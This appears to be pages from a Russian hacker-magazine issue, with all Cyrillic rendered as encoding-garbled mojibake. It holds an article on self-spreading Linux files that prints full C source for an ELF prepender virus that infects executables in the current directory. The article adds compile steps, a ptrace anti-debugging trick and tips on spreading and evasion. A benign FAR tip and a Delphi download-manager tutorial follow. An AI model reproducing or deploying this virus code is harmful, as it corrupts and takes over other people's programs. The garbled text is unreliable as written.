 îáùåì, êîìó ÷òî íðàâèòñÿ. Íî êàê åãî íè íàçîâè, ýòî ïðîñòî ÏÐÎÃÐÀÌÌÀ, îáëàäàþùàÿ òåìè<br />

èëè èíûìè âîçìîæíîñòÿìè, è îñíîâíîé åå çàäà÷åé ÿâëÿåòñÿ âíåäðåíèå ñîáñòâåííîãî êîäà â òåëî<br />

äðóãîé ïðîãðàììû-æåðòâû ñ öåëüþ "âûæèâàíèÿ" (ðåæå - äåñòðóêöèè).<br />

saparmurat<br />

Ðàçäåë îïèñàíèÿ ELF-çàãîëîâêà<br />

Ðàññìàòðèâàòü<br />

âñå ýëåìåíòû íåò íåîáõîäèìîñòè, ïîýòîìó áóäåò ïðèâåäåíà ëèøü ïàðà ïðèìåðîâ.<br />

Åñëè èíòåðåñíî óçíàòü îá ýòîì ïîáîëüøå, ÷èòàé äîêóìåíòàöèþ ïî ELF è èçó÷àé<br />

/usr/include/elf.h.<br />

Ñóùåñòâóåò äîâîëüíî ìíîãî ìåòîäîâ çàðàæåíèÿ (òåõíèê), íàïðèìåð UEP (Unknow Entry<br />

Point - íåèçâåñòíàÿ òî÷êà âõîäà). Òåëî èíôåêòîðà ñëó÷àéíûì îáðàçîì ïîìåùàåòñÿ â<br />

ïðîãðàììó. Ïðè îïðåäåëåííûõ äîðàáîòêàõ ýòîé òåõíèêè èçëå÷åíèå ôàéëà ñòàíîâèòñÿ<br />

ïðàêòè÷åñêè íåâîçìîæíûì. Ñóùåñòâóþò, êîíå÷íî, è äðóãèå ìåòîäû, íî ïî÷òè âñå îíè<br />

î÷åíü ñëîæíû â ðåàëèçàöèè.<br />

Èòàê, ïðèìåð "æèâîãî ñàìîðàñïðîñòðàíÿþùåãî ìåõàíèçìà" èñïîëüçóåò ñëåäóþùóþ<br />

òåõíèêó:<br />

1. Íàõîæäåíèå æåðòâû.<br />

2. Åå çàðàæåíèå. Îíî ïðîèñõîäèò ïóòåì äîáàâëåíèÿ êîäà â íà÷àëî òåëà æåðòâû.<br />

3. Îòäåëåíèå òåëà èíôåêòîðà îò òåëà ïðîãðàììû-íîñèòåëÿ, ñîçäàíèå ïðîìåæóòî÷íîãî<br />

ôàéëà, âïèñûâàíèå â íåãî òåëà ïðîãðàììû è çàïóñê. Òåõíèêà êðàéíå ïðîñòà, íî äåéñòâåííà<br />

è íàèáîëåå ïîíÿòíà äëÿ íåïîñâÿùåííûõ.<br />

74<br />

Òàêîé ïðîãðàììå íåîáõîäèìî çíàòü, ÿâëÿåòñÿ ëè íàéäåííàÿ æåðòâà çàðàæåííîé. Äëÿ<br />

ýòîãî âûáðàí îäèí èç ýëåìåíòîâ ELF-çàãîëîâêà, à èìåííî e_version. Ïðè çàðàæåíèè<br />

ôàéëà åãî çíà÷åíèå èçìåíÿåòñÿ íà 2. Íà ðàáîòîñïîñîáíîñòü ïðîãðàììû òàêèå âåùè íèêàê<br />

íå ïîâëèÿþò, à äëÿ èíôåêòîðà ýòî áóäåò âïîëíå îïðåäåëåííûì çíàêîì.


Êîä ELF-ðàñïðîñòðàíèòåëÿ<br />

/* ELF_Infector.c */<br />

#include <br />

#include <br />

#include // äëÿ èñïîëüçîâàíèÿ fstat\stat<br />

#include <br />

#include // DIR<br />

#include // Äëÿ ðàáîòû ñ ELF header'îì<br />

#define Max_Infect_Counter 1 // Ìàêñèìàëüíîå ÷èñëî çàðàæàåìûõ<br />

ôàéëîâ çà 1 ðàç<br />

#define Virus_Length // Çäåñü íåîáõîäèìî âñòàâèòü äëèíó<br />

ýòîãî ñêîìïèëåííîãî ôàéëà<br />

#define Temp_File ".temp" // Ïðîìåæóòî÷íûé ôàéë<br />

// Îáúÿâëåíèå èñïîëüçóåìûõ ïåðåìåííûõ<br />

char *Original_Body, *New_Body, *Virus_Body,Directory[100], Target_Name[100];<br />

int Length, Fdesc, Flag_Infected = 0, Infected_Counter;<br />

struct stat Status;<br />

struct dirent *d;<br />

DIR *dp;<br />

Elf32_Ehdr ELF_Header;<br />

int main(int argc, char *argv[], char *envp[])<br />

{<br />

// Îòêðûâàíèå ñàìîãî ñåáÿ è âû÷èñëåíèå äëèíû<br />

Fdesc = open(argv[0], O_RDONLY);<br />

fstat(Fdesc, &Status);<br />

lseek(Fdesc, 0, 0);<br />

// Ïðîâåðêà äëèíû<br />

if(Status.st_size == Virus_Length) // Åñëè çàïóùåí ãîëûé èíôåêòîð...<br />

{<br />

Length = Virus_Length;<br />

Virus_Body=malloc(Virus_Length);<br />

read(Fdesc, Virus_Body, Virus_Length);<br />

}<br />

else // Åñëè óæå çàðàæåí...<br />

{<br />

Length = Status.st_size - Virus_Length;<br />

Flag_Infected=1;<br />

// ×òåíèå ñâîåãî òåëà, çàòåì òåëà îðèãèíàëüíîé ïðîãðàììû è ñîõðàíåíèå èõ â<br />

îòâåäåííûé áóôåð<br />

Virus_Body=malloc(Virus_Length);<br />

read(Fdesc, Virus_Body, Virus_Length);<br />

lseek(Fdesc, Virus_Length,0);<br />

Original_Body = malloc(Length);<br />

read(Fdesc, Original_Body, Length);<br />

}<br />

close(Fdesc);<br />

if (Flag_Infected == 1) // Åñëè óæå çàðàæåíû...<br />

{<br />

// Çàïèñü îðèãèíàëüíîãî êîäà â ïðîìåæóòî÷íûé ôàéë<br />

Fdesc = open(Temp_File, O_RDWR | O_CREAT | O_TRUNC,<br />

Status.st_mode);<br />

if (Fdesc < 0){close(Fdesc);Fdesc = open(Temp_File, O_RDWR ,<br />

Status.st_mode); }<br />

write(Fdesc, Original_Body, Length);<br />

close(Fdesc);<br />

// Ïîèñê æåðòâû<br />

Find_Target(argv[0]);<br />

// Ïîñëå òîãî êàê çàðàæåíèå ïðîèçîøëî, çàïóñê îðèãèíàëüíîãî êîäà<br />

execve(Temp_File, argv, envp);<br />

}<br />

else<br />

{<br />

// Èíà÷å ïîèñê æåðòâû, çàðàæåíèå è âûõîä<br />

Find_Target(argv[0]);<br />

exit(0);<br />

}<br />

}<br />

// Ïðîöåäóðà çàðàæåíèÿ, â êà÷åñòâå ïàðàìåòðà ïðèíèìàåò èìÿ íàéäåííîé<br />

æåðòâû<br />

Infecting(char *Target)<br />

{<br />

// Ñ÷èòûâàíèå ELF-çàãîëîâêà<br />

Fdesc = open(Target, O_RDWR , Status.st_mode);<br />

read(Fdesc, &ELF_Header,sizeof(ELF_Header));<br />

// Ïðîâåðêà çíà÷åíèÿ e_version, åñëè 2, òî âîçâðàùåíèå â Find_Target<br />

è ïðîäîëæåíèå...<br />

75


Êîäèíã<br />

ÑÀÌÎÐÀÑÏÐÎÑÒÐÀÍßÞÙÈÅÑß ÔÀÉËÛ ÏÎÄ LINUX<br />

saparmurat<br />

if (ELF_Header.e_version==0x2){return(0);}else<br />

{<br />

// ×òåíèå òåëà ïðîãðàììû<br />

fstat(Fdesc, &Status);<br />

lseek(Fdesc, 0, SEEK_SET);<br />

New_Body = malloc(Status.st_size);<br />

read(Fdesc, New_Body, Status.st_size);<br />

lseek(Fdesc, 0, SEEK_SET);<br />

// Çàïèñü òåëà âèðóñà<br />

write(Fdesc, Virus_Body, Virus_Length);<br />

// Òåëî ïðîãðàììû<br />

write(Fdesc, New_Body, Status.st_size);<br />

// Óñòàíîâêà çíà÷åíèÿ e_version ðàâíîå äâóì<br />

lseek(Fdesc,0,0);<br />

read(Fdesc, &ELF_Header, sizeof(ELF_Header));<br />

ELF_Header.e_version=0x2;<br />

lseek(Fdesc,0,0);<br />

write(Fdesc, &ELF_Header, sizeof(ELF_Header));<br />

close(Fdesc);<br />

// Óâåëè÷åíèå ñ÷åò÷èêà çàðàæåííûõ ôàéëîâ<br />

Infected_Counter++;<br />

}<br />

}<br />

printf("%s Infected!\n",Target);<br />

// Ïðîöåäóðà ïîèñêà æåðòâû, â êà÷åñòâå ïàðàìåòðà ïðèíèìàåò argv[0], ò.å. íàçâàíèå<br />

çàïóùåííîãî ôàéëà. Ýòî íåîáõîäèìî äëÿ òîãî,<br />

// ÷òîáû ïðîïóñòèòü ñîáñòâåííîå çàðàæåíèå.<br />

Find_Target(char *Our_Name)<br />

{<br />

getcwd(Directory,100); // Ïîëó÷èòü òåêóùóþ äèðåêòîðèþ<br />

dp=opendir(Directory);<br />

while(d=readdir(dp)) // Ïîêà åñòü ýëåìåíòû â äèðåêòîðèè (ôàéëû)<br />

{<br />

if(d->d_ino != 0) // Ñ÷èòûâàíèå ïåðâîãî ôàéëà<br />

{<br />

stat(d->d_name,&Status); // Ïîëó÷åíèå åãî ñâîéñòâ<br />

if((Status.st_mode&S_IXUSR)!=0 ) // Åñëè ýòî èñïîëíÿåìûé ôàéë, à<br />

íå äèðåêòîðèÿ/òåêñòîâûé ôàéë etc...<br />

{<br />

sprintf(Target_Name,"./%s",d->d_name); / /<br />

Ñâåðêà èìåíè ýëåìåíòà ñî ñâîèì<br />

if(((S_ISREG(Status.st_mode)))&(strcmp(Target_Name,Our_Name)!=0))<br />

{<br />

if (Infected_Counter < Max_Infect_Counter) // Ïðîâåðêà<br />

ñ÷åò÷èêà çàðàæåíèé<br />

{<br />

Infecting(d->d_name); // Âûçîâ ïðîöåäóðû<br />

çàðàæåíèÿ<br />

}<br />

}<br />

}<br />

}<br />

}<br />

}<br />

Âîò, ñîáñòâåííî, è âåñü êîä.<br />

Êîìïèëèðîâàíèå:<br />

$gcc ELF_Infector.c -o infector<br />

$strip infector // åñëè èìååòñÿ strip, òî èì ëó÷øå âîñïîëüçîâàòüñÿ<br />

Òåïåðü ïðîâåðêà âûøåîïèñàííîãî êîäà. Íåîáõîäèìî çàêèíóòü èíôåêòîð âìåñòå ñ<br />

íåñêîëüêèìè ïîäîïûòíûìè ïðîãðàììàìè. Ïîñëå çàïóñêà ÷àñòü èç íèõ áóäóò èìåòü<br />

áîëüøèé ðàçìåð, ÷åì èçíà÷àëüíî. Ýòî îçíà÷àåò, ÷òî ïðîãðàììà çàðàæåíà.<br />

Òðèêñû<br />

Âîçìîæíî, ýòîò ïðèìåð íå ïîëíîñòüþ îïòèìèçèðîâàí. Îí ëèøü ïîêàçûâàåò, êàêèì<br />

îáðàçîì ïðîèñõîäèò çàðàæåíèå. Ìîæíî, ê ïðèìåðó, äîáàâèòü ôóíêöèþ ñîõðàíåíèÿ<br />

ïàðàìåòðîâ ôàéëà, ò.å. âðåìÿ ñîçäàíèÿ/èçìåíåíèÿ. È ýòè çíà÷åíèÿ áóäóò îñòàâàòüñÿ<br />

íåòðîíóòûìè ïîñëå çàðàæåíèÿ. Åùå äîáàâèòü íåêîòîðûå ôóíêöèè àíòèäåáàãà, íàïðèìåð,<br />

èñïîëüçîâàòü PTRACE. PTRACE - ýòî íå ýêñïëîèò, êàê ìíîãèå ìîãóò ïîäóìàòü<br />

=), à ñèñòåìíûé âûçîâ, ñëóæàùèé äëÿ äåáàãà ïðîöåññîâ. Ñàì PTRACE íå ìîæåò áûòü<br />

âûçâàí äâà ðàçà ïîäðÿä â îäíîì è òîì æå ïðîöåññå. Ò.å. ïðè âûçîâå åãî ÷åðåç êàêîéíèáóäü<br />

strace âûïàäåò îøèáêà. Âîò ïðîñòîé ïðèìåð:<br />

#include <br />

int main()<br />

{<br />

if (ptrace(PTRACE_TRACEME, 0, 0, 0) != 0)<br />

{<br />

printf("Someone trying to debug us =)...\n");<br />

exit(1);<br />

}<br />

}<br />

Îò îòëàäêè ýòî, êîíå÷íî, íå ñïàñåò, íî ïîòðåïëåò íåðâû íà÷èíàþùèì =).<br />

Ìîæíî ïîèãðàòüñÿ è ñ àëãîðèòìîì çàðàæåíèÿ. Âåäü äàííûé èíôåêòîð îãðàíè÷åí<br />

òîëüêî òåêóùåé ïàïêîé, à ìîæíî äîáàâèòü ïîäúåì íà óðîâåíü ââåðõ (..). Íåêîòîðûå<br />

ìîãóò äîáàâèòü â íåãî backdoor, íî ýòî óæå ñîâñåì íåçàêîííûå äåéñòâèÿ. Íà ñàìîì<br />

äåëå âñå îãðàíè÷èâàåòñÿ òîëüêî ôàíòàçèåé è óðîâíåì çíàíèé. Ê òîìó æå ñåé÷àñ ñòàëè<br />

ïîÿâëÿòüñÿ ðàçëè÷íûå äâèæêè: ìóòèðóþùèå, ïåðìóòèðóþùèå, ãåíåðàòîðû ìóñîðà<br />

è äðóãèå... Íî âñå ýòè ðåàëèçàöèè â îñíîâíîì ïîä WIN. Ïîä Unix ãîòîâûõ äâèæêîâ<br />

ïðàêòè÷åñêè íåò.<br />

Ïîñëåñëîâèå<br />

Ïîäâîäÿ èòîã, õî÷ó äîáàâèòü ïàðó ñëîâ. Ïèñàòü òàêèå âåùè íà Ñ - íå ñàìûé ëó÷øèé<br />

âàðèàíò. HLL âñåãäà îòëè÷àëèñü ñâîåé òîëñòîêîäîñòüþ. Ãîðàçäî ëó÷øå ïèñàòü<br />

íà ÷èñòîì àñìå, âåäü èòîãîâûé ðàçìåð áóäåò ñóùåñòâåííî ìåíüøå. Íà<br />

êðàéíÿê ìîæíî èñïîëüçîâàòü Inline Assembler, ò.å àññåìáëåðíûå âñòàâêè â Ñ êîä.<br />

Íåñìîòðÿ íà òî, ÷òî ïèñàòü íà íåì ñëîæíåå, êîä ïîëó÷àåòñÿ êîìïàêòíûì<br />

è ïëàñòè÷íûì, ÷òî ÿâëÿåòñÿ îñíîâíûì óñëîâèåì ïðè èñïîëüçîâàíèè<br />

ðàçëè÷íûõ äâèæêîâ.  îáùåì, ïèñàòü ìîæíî ïî-ðàçíîìó, âñå<br />

çàâèñèò îò òâîèõ çíàíèé. Òàê ÷òî íàäî ó÷èòüñÿ, ó÷èòüñÿ è ó÷èòüñÿ...<br />

ELF - Executable and Linking Format. Îñíîâíîé ôîðìàò èñïîëíÿåìûõ ôàéëîâ<br />

ïîä Unix. Îí èñïîëüçóåòñÿ â Linux, BSD-ñèñòåìàõ, ñîëÿðêå.<br />

Ïðîãðàììà strip óìåíüøàåò ðàçìåð áèíàðíèêà çà ñ÷åò óäàëåíèÿ ñèìâîëüíûõ<br />

ñåêöèé, êîòîðûìè ìîæíî ïðåíåáðå÷ü.<br />

76<br />

Ëèíêè ê ñòàòüå<br />

http://193.231.122.29/papers/programm/ELF.pdf - ôîðìàò ELF, òàì æå<br />

íàõîäèòñÿ êó÷à äðóãèõ ïîëåçíûõ äîêîâ.<br />

http://z0mbie.host.sk<br />

http://vx.netlux.org/lib/virus-writing-HOWTO/index.xhtml - îòëè÷íàÿ äîêà äëÿ<br />

ëèíóêñîèäîâ.<br />

Tips&Tricks<br />

Êàê èçâåñòíî FAR ðàñøèôðîâûâàåòñÿ<br />

êàê File and ARchive<br />

manager (îáðàòè âíèìàíèå íà<br />

ñëîâî «archive»). Íî ó ìíîãèõ<br />

FAR íå íàñòðîåí íà êîððåêòíóþ<br />

ðàáîòó ñ àðõèâàìè. Äëÿ<br />

òîãî ÷òîáû ýòî èñïðàâèòü, íàäî<br />

â ïàïêó, ãäå óñòàíîâëåí Far<br />

(\Program Files\Far), ïîìåñòèòü<br />

ôàéëû àðõèâàòîðîâ, íàïðèìåð:<br />

pkzip.exe, pkunzip.exe,<br />

Rar.exe, ARJ, lha... Ïîñëå ýòîãî<br />

òû ñìîæåøü ðàáîòàòü ñ àðõèâàìè<br />

äåéñòâèòåëüíî êàê ñ<br />

ïàïêàìè. Êñòàòè, ôàéë Rar.exe<br />

ëó÷øå áðàòü èç ïàïêè ñ óñòàíîâëåííûì<br />

WinRAR'îì (òàì îí<br />

òîé æå âåðñèè, ÷òî è ñàì<br />

WinRAR). È íå çàáûâàé ïðî<br />

Shift+Enter â FAR - ýòî, òàê<br />

ñêàçàòü, çàïóñê ôàéëà èëè<br />

ïàïêè (íà êîòîðîì/êîòîðîé<br />

íàæàëè ýòè êíîïêè) ñðåäñòâàìè<br />

Windows, ò.å. ïàïêà îòêðîåòñÿ<br />

Îáîçðåâàòåëåì, à êîíñîëüíîå<br />

ïðèëîæåíèå çàïóñòèòñÿ<br />

â íîâîì îêíå.<br />

Äàíèë<br />

www.625.ru


Êîäèíã<br />

DELPHI ÄËß ÊÀ×ÊÎÂ<br />

Ëîçîâñêèé Àëåêñàíäð (klouniz@mail.ru)<br />

ÐÅÊÂÈÇÈÒ<br />

Îí íàì ïîíàäîáèòñÿ. Ïðîøëè òå âðåìåíà, êîãäà âñå äåëàëîñü â äâà äèàëîãà è îäíó<br />

ñòðî÷êó êîäà. Íàì ïðèäåòñÿ ïèñàòü ïðîãðàììó ñ èñïîëüçîâàíèåì ôóíêöèé áèáëèîòåêè<br />

WinInet.dll è çàãîëîâî÷íîãî ôàéëà, ñîîòâåòñòâåííî, WinInet.Pas. Ñðàçó ïðîïèøè åãî<br />

â uses, à òî ïîòîì çàáóäåøü è íà÷íåøü òûêàòüñÿ, èñêàòü ñâîþ îøèáêó. Òàê âîò, äàâàé<br />

äëÿ íà÷àëà ïîïðîáóåì ðàçîáðàòüñÿ ñ ñàìûìè íåîáõîäèìûìè ôóíêöèÿìè, à ñ îñòàëüíûìè<br />

òû ðàçáåðåøüñÿ ñàì íà msdn.microsoft.com (ïîëíûé ëèíê äàâàòü íå áóäó, ò.ê. îí<br />

Î×ÅÍÜ áîëüøîé). Ïîñìîòðè òàì ñëåäóþùèå ôóíêöèè: InternetDial, InternetGoOnline<br />

èëè InternetCrackUrl (äóìàþ, ýòà ôóíêöèÿ òåáÿ äîëæíà çàèíòåðåñîâàòü :)). Íî âåðíåìñÿ<br />

ê ðåàëüíîñòè. Ó íàñ íà ïîâåñòêå äíÿ ñëåäóþùèå ôóíêöèè:<br />

1) function InternetOpen(lpszAgent: PChar; dwAccessType: DWORD;<br />

lpszProxyName, lpszProxyBypass: PChar; dwFlags: DWORD): HINTERNET; stdcall;<br />

Îíà îòêðûâàåò èíòåðíåò-ñåññèþ äëÿ ïðèëîæåíèÿ. Âîò êàêèå ó íåå àðãóìåíòû:<br />

lpszAgent - èìÿ ïðîãðàììû. Ñåðüåçíûå ëþäè ïèøóò application.exename, à ñòàðèêè -<br />

ParamStr(0). Íà ñàìîì äåëå ýòî íå òàê âàæíî, ïðîãðàììà âñå ðàâíî áóäåò ðàáîòàòü.<br />

dwAccessType - ñïîñîá ñîåäèíåíèÿ. Âîò åãî òèïû:<br />

PRE_CONFIG_INTERNET_ACCESS - êàê â ðååñòðå.<br />

INTERNET_OPEN_TYPE_PRECONFIG_WITH_NO_AUTOPROXY - íå þçàòü internet setup file.<br />

GATEWAY_INTERNET_ACCESS - ÷åðåç øëþç.<br />

CERN_PROXY_INTERNET_ACCESS - ÷åðåç ïðîêñè.<br />

lpszProxyName - èìÿ ïðîêñè.<br />

lpszProxyBypass - êîìó íå íàäî èñïîëüçîâàòü ïðîêñþ.<br />

dwFlags - ðåæèì ðàáîòû. Åñëè ñòàâèòü INTERNET_FLAG_ASYNC, òî áóäåò àñèíõðîííûé.<br />

 äàííîì ñëó÷àå ýòî òîëüêî äîïîëíèòåëüíûé íàïðÿã, ïîýòîìó ñòàâü 0.<br />

2) function InternetOpenUrl(hInet: HINTERNET; lpszUrl: PChar;<br />

lpszHeaders: PChar; dwHeadersLength: DWORD; dwFlags: DWORD;<br />

dwContext: DWORD): HINTERNET; stdcall;<br />

Ýòî ôóíêöèÿ îòêðûâàåò çàäàííûé ÓÐË! :) Åå îïèñàíèå:<br />

hInet - ïåðåìåííàÿ òèïà HINTERNET. Åå çíà÷åíèå âîçâðàùàåò ôóíêöèÿ InternetOpen.<br />

lpszUrl - ñîáñòâåííî ñàì ÓÐË.<br />

lpszHeaders - äîïîëíèòåëüíûå ñòðîêè â ÍÒÒÐ çàïðîñå. Íàì îíè íå íóæíû.<br />

dwHeadersLength - èõ äëèíà.<br />

dwFlags - èõ òóò áîëüøå 10 çíà÷åíèé. Âîò ñàìîå íóæíîå:<br />

INTERNET_FLAG_EXISTING_CONNECT - íå ñîçäàâàòü äëÿ îáúåêòà íîâîãî ñîåäèíåíèÿ.<br />

dwContext - ïèøè 0.<br />

3) function InternetReadFile(hFile: HINTERNET; lpBuffer: Pointer;<br />

dwNumberOfBytesToRead: DWORD; var lpdwNumberOfBytesRead: DWORD): BOOL; stdcall;<br />

Delphi<br />

äëÿ êà÷êîâ<br />

Ëþáîìó ÷åëîâåêó, ìàëî-ìàëüñêè çíàêîìîìó ñ èíòåðíåòîì, èçâåñòíû òàêèå ïðîãðàììû-êà÷àëêè,<br />

êàê GetRight, Reget è Flashget. Èõ ðàñïëîäèëîñü âåëèêîå ìíîæåñòâî, âñå îíè çàíèìàþò ïåðâûå<br />

ìåñòà â ðåéòèíãàõ è ïðîäàþòñÿ çà íåìàëûå äåíüãè. FlashGet, íàïðèìåð, ïîñòîÿííî òðåáóåò<br />

îò ìåíÿ çàïëàòèòü áóðæóþ $29.99 çà äàëüíåéøåå èñïîëüçîâàíèå åãî ïðîãðàììû. Âñå ýòî, êîíå÷íî,<br />

ïîíÿòíî, õî÷åòñÿ äåíåã, äà ïîáîëüøå... Íî ðàçâå ðóññêèé ÷åëîâåê ìîæåò çàïëàòèòü òàêóþ<br />

ñóììó? :) Òàê ÷òî äàâàé ñåãîäíÿ íàïèøåì ñâîé Reget, è òû ñìîæåøü äåìîíñòðèðîâàòü âñåì<br />

çíàêîìûì äåâóøêàì ñâîþ ôèçèîíîìèþ â about ïðîãðàììû :).<br />

Ëîçîâñêèé Àëåêñàíäð (klouniz@mail.ru)<br />

InternetReadFile ÷èòàåò óäàëåííûé ôàéë. Åñëè òû çíàêîì ñî ñòàðîé äîáðîé ReadFile<br />

(èëè _lRead), òî ïîéìåøü ñàì, à ýòî äëÿ òåõ, êòî íå çíàåò:<br />

hFile - ñþäà òû ïîäñòàâëÿåøü çíà÷åíèå èç ïðåäûäóùåé ôóíêöèè (ìîæíî è FtpOpenFile,<br />

åñëè òåáå ýòî áëèæå).<br />

lpBuffer - áóôåð, ÷åðåç íåãî ìû áóäåì ÷èòàòü ôàéë. Êàê òû äîëæåí ïîìíèòü, áóôåð -<br />

ýòî ìàññèâ. Òàêèì îáðàçîì, ôàéë ÷èòàåòñÿ êóñêàìè, ðàâíûìè ðàçìåðó ýòîãî ìàññèâà,<br />

à ó íàñ îí îáúåìîì 1024 áàéòà, ò.å. îäèí êèëîáàéò.<br />

dwNumberOfBytesToRead - êàêîå êîëè÷åñòâî áàéò íåîáõîäèìî ïðî÷åñòü. Îí äîëæåí<br />

áûòü ðàâåí ðàçìåðó íàøåãî ìàññèâà, ò.å. 1024.<br />

lpdwNumberOfBytesRead - ñêîëüêî æå äåéñòâèòåëüíî áàéò ïðî÷èòàíî.<br />

Åñëè âñå îòëè÷íî, òî ôóíêöèÿ âîçâðàùàåò true, èíà÷å - false.<br />

4) function InternetSetFilePointer(hFile: HINTERNET;<br />

lDistanceToMove: Longint; pReserved: Pointer;<br />

dwMoveMethod, dwContext: DWORD): DWORD; stdcall;<br />

Äëÿ íåçíàêîìûõ ñ SetFilePointer ïîÿñíþ. Ýòà ôóíêöèÿ ñäâèãàåò ïîçèöèþ ÷òåíèÿ ôàéëà<br />

íà çàäàííîå ÷èñëî áàéò. Ò.å. åñëè òåáå íàäî ïðî÷èòàòü ôàéë íå ñ íà÷àëà, à ñ îòìåòêè<br />

1000 áàéò, òî ïîëüçóéñÿ InternetSetFilePointer. Âîò åå ïàðàìåòðû:<br />

hFile - ýòîò ïàðàìåòð óæå ðàññìàòðèâàëñÿ.<br />

lDistanceToMove - íà êàêîå êîëè÷åñòâî áàéò ñìåùàòü óêàçàòåëü.<br />

pReserved - îñòàâëåíî äî ëó÷øèõ âðåìåí, à ñàìî çíà÷åíèå äîëæíî áûòü ðàâíî íóëþ.<br />

dwMoveMethod - îòêóäà äåëàòü ñìåùåíèå:<br />

FILE_BEGIN - ñ íà÷àëà.<br />

FILE_END - ñ êîíöà :).<br />

FILE_CURRENT - ñ òåêóùåé ïîçèöèè.<br />

dwContext - äîëæíî áûòü íóëåì.<br />

Êàê òû óæå äîãàäàëñÿ, ýòà ôóíêöèÿ è áóäåò îáåñïå÷èâàòü íàì äîêà÷êó. Åñëè êîííåêò<br />

ïðåðâåòñÿ íà îòìåòêå 1.2 Ìá, òî ìû ñìîæåì âåðíóòüñÿ íà íóæíóþ íàì ïîçèöèþ. Ïðè<br />

óñïåøíîì âîçâðàòå ôóíêöèÿ âåðíåò çíà÷åíèå â 1.2 Ìá. Íî ó÷òè, åñëè ñåðâàê íå ïîääåðæèâàåò<br />

äîêà÷êè, òî ôàéë ïðèäåòñÿ ÷èòàòü ñ ñàìîãî íà÷àëà.<br />

5) function InternetQueryDataAvailable(hFile: HINTERNET; var<br />

lpdwNumberOfBytesAvailable: DWORD;<br />

dwFlags, dwContext: DWORD): BOOL; stdcall;<br />

78<br />

Îíà âûÿñíÿåò îáúåì äîñòóïíûõ äàííûõ, ò.å. ðàçìåð çàïðàøèâàåìîãî ôàéëà. Ïîÿñíåíèÿ:<br />

hFile - ïåðåìåííàÿ òèïà HINTERNET. Óæå ðàññìàòðèâàëàñü âûøå.<br />

lpdwNumberOfBytesAvailable - äîñòóïíûå áàéòû.<br />

dwFlags - ñòàâü â 0.<br />

dwContext- çäåñü òàêæå óñòàíîâè 0.


6) function InternetCloseHandle(hInet: HINTERNET): BOOL; stdcall;<br />

 InternetCloseHandle íåò íè÷åãî ñëîæíîãî. Ýòà ôóíêöèÿ ïðîñòî çàêðûâàåò èíòåðíåò-ñåññèþ.<br />

Âñå. Ñ ðàçáîðîì ôóíêöèé ìû çàêîí÷èëè. Èõ òåáå õâàòèò äëÿ íàïèñàíèÿ ïðèìèòèâíîãî<br />

ãåòðàéòà :). À åñëè òû îçíàêîìèøüñÿ ñ MSDN'îâñêèìè äîêàìè è ïîéìåøü<br />

ðàáîòó ïîòîêîâ... Òîãäà ÿ áóäó æäàòü 80% ñêèäêè íà òâîé VasyaExtraGet çà 9.99$<br />

:). Òàê ÷òî çàêðûâàé æóðíàëü÷èê, ïîïåé ïèâêà, è ñàäèñü êîäèòü. Ãëàâíîå, íå óáåé<br />

ïðàâèëüíîå íàñòðîåíèå. Åñëè åãî ïîêà íåò, íå ðàññòðàèâàéñÿ, áóäåì ïèñàòü âìåñòå<br />

:).<br />

ÈÍÒÅÐÔÅÉÑ<br />

Êèäàé íà ôîðìó äâà TEdit, ÷åòûðå TLabel, SaveDialog è 4 Êíîïêè. Ïîñòàðàéñÿ ðàñïîëîæèòü<br />

ýòî äîáðî êàê íà ðèñ.1:<br />

Ïåðâûå 3<br />

êíîïêè îáçîâè (ïàðàìåòð "caption"): "Çàãðóçèòü", "Îòìåíà" è "Âûõîä", à íà ÷åòâåðòîé<br />

ïîñòàâü 3 òî÷êè. Label’û áóäóò íàçûâàòüñÿ òàê:<br />

label1: "Îòêóäà êà÷àòü?"<br />

label2: "À êóäà ñîõðàíÿòü?"<br />

label3: "Ðàçìåð ôàéëà:"<br />

label4: "0"<br />

 îáùåì, ïîñòàðàéñÿ ñîîòâåòñòâîâàòü ðèñóíêó 2. Íà íåì âñå ïðåäåëüíî ÿñíî, òàê<br />

÷òî ïåðåéäåì ê ñàìîìó ïðîöåññó êîäèíãà.<br />

ÊÎÄÈÍÃ<br />

Ôîðìà â çà÷àòî÷íîì ñîñòîÿíèè<br />

Ôîðìà â çðåëîì ñîñòîÿíèè<br />

Äëÿ íà÷àëà äîáàâü â ðàçäåë public îáúÿâëåíèå ïåðåìåííîé NADO: boolean; (îíà<br />

íóæíà äëÿ ïðåðûâàíèÿ çàãðóçêè), ñîçäàé ñîáûòèå OnClick äëÿ 4-é êíîïêè è âïèøè<br />

òóäà òàêîé êîä:<br />

IF SaveDialog1.Execute then Edit2.Text:= SaveDialog1.FileName;<br />

Ýòîò êîä äîáàâëåí, ÷òîáû íå ââîäèòü ïóòü âðó÷íóþ. Òåïåðü ïîñìîòðè íà êîä â<br />

áëîê-âðåçêå. Ïîïûòàéñÿ ïîíÿòü ñîäåðæèìîå ýòîãî ëèñòèíãà. Ïîíÿë? Íå ïîíÿë? :)<br />

 îáùåì, íàáåé åãî â ñâîé ïðîåêò.<br />

Ëîãèêà ðàáîòû ïðîãðàììû òàêàÿ. Ñíà÷àëà ìû ïðîâåðÿåì íàëè÷èå çàäàííîãî ôàéëà.<br />

Åñëè åãî íåò, òî êà÷àåì ñ íóëÿ, åñëè æå îí ñóùåñòâóåò, òî çà íà÷àëüíóþ ïîçèöèþ<br />

äëÿ äîêà÷êè áåðåì ðàçìåð ëîêàëüíîãî ôàéëà è ïîäñòàâëÿåì ýòî çíà÷åíèå<br />

â InternetSetFilePointer. ×òî ìû è äåëàåì. Çàòåì öèêëè÷åñêè ÷èòàåì ïî 1024 áàéòà<br />

îò èíòåðíåò-ôàéëà, ïîêà íå ñêà÷àåì åãî öåëèêîì. Ýòî è áóäåò êîíåö çàãðóçêè.<br />

Õîòÿ, íà ñëó÷àé ðó÷íîãî ïðåðûâàíèÿ, âïèøè â OnClick äëÿ 2-é êíîïêè òàêîé êîä:<br />

NADO:= FALSE<br />

Âñå îñòàëüíîå ÿñíî è ïî êîììåíòàðèÿì, ïîýòîìó ÿ ïðîòåñòèðóþ ýòó ïðîãðàììó è<br />

ïåðåéäó ê çàêëþ÷åíèþ.<br />

5 ÌÈÍÓÒ - ÏÎËÅÒ ÍÎÐÌÀËÜÍÛÉ<br />

ß çàïóñòèë çàêà÷êó ôàéëà, íî â ñåðåäèíå ïðîöåññà ó ìåíÿ ïîäëî ïðåðâàëàñü<br />

ñâÿçü (ñëó÷àéíî çàäåë ìîìåä íîãîé, îí óïàë ñî ñòîëà è âûäåðíóëñÿ èç ñåòè), çà<br />

÷òî ÿ è ñëîâèë èçâåñòíîå òåáå ñîîáùåíèå. Ïîäíÿâ ìîäåì è âîññòàíîâèâ êîííåêò,<br />

